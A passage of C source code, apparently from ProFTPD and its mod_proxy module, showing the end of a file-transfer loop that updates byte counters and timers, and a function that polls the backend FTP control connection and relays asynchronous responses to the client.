EINTR) { if (XFER_ABORTED) { session.xfer.total_bytes += len; session.total_bytes += len; session.total_bytes_out += len; session.total_raw_out += len; return -1; } pr_signals_handle(); /* If we got everything in this transaction, we're done. */ if (len >= count) { break; } else { count -= len; } *offset += len; if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } if (timeout_idle) { pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); } session.xfer.total_bytes += len; session.total_bytes += len; session.total_bytes_out += len; session.total_raw_out += len; total += len; continue; } error = errno; fcntl(PR_NETIO_FD(session.d->outstrm), F_SETFL, flags); errno = error; return -1; } break; } if (flags & O_NONBLOCK) fcntl(PR_NETIO_FD(session.d->outstrm), F_SETFL, flags); if (timeout_stalled) { pr_timer_reset(PR_TIMER_STALLED, ANY_MODULE); } if (timeout_idle) { pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); } session.xfer.total_bytes += len; session.total_bytes += len; session.total_bytes_out += len; session.total_raw_out += len; total += len; return total; }
int proxy_ftp_ctrl_handle_async(pool *p, conn_t *backend_conn, conn_t *frontend_conn) { if (!(proxy_sess_state & PROXY_SESS_STATE_CONNECTED)) { /* Nothing to do if we're not yet connected to the backend server. */ return 0; } while (TRUE) { fd_set rfds; struct timeval tv; int ctrlfd, res, xerrno = 0; /* By using a timeout of zero, we effect a poll on the fd. */ tv.tv_sec = 0; tv.tv_usec = 0; pr_signals_handle(); FD_ZERO(&rfds); ctrlfd = PR_NETIO_FD(backend_conn->instrm); FD_SET(ctrlfd, &rfds); res = select(ctrlfd + 1, &rfds, NULL, NULL, &tv); if (res < 0) { xerrno = errno; if (xerrno == EINTR) { pr_signals_handle(); continue; } (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "error calling select(2) on backend control connection (fd %d): %s", ctrlfd, strerror(xerrno)); return 0; } if (res == 0) { /* Nothing there. */ break; } pr_trace_msg(trace_channel, 19, "select(2) reported %d for backend %s (fd %d)", res, backend_conn->remote_name, ctrlfd); if (FD_ISSET(ctrlfd, &rfds)) { unsigned int resp_nlines = 0; pr_response_t *resp; pr_timer_reset(PR_TIMER_IDLE, ANY_MODULE); pr_trace_msg(trace_channel, 9, "reading async response from backend %s", backend_conn->remote_name); resp = proxy_ftp_ctrl_recv_resp(p, backend_conn, &resp_nlines); if (resp == NULL) { xerrno = errno; (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "error receiving response from backend control connection: %s", strerror(xerrno)); errno = xerrno; return -1; } res = proxy_ftp_ctrl_send_resp(p, frontend_conn, resp, resp_nlines); if (res < 0) { xerrno = errno; (void) pr_log_writefile(proxy_logfd, MOD_PROXY_VERSION, "error sending response to frontend control connection: %s", strerror(xerrno)); errno = xerrno; return -1; } } break; } return 0; }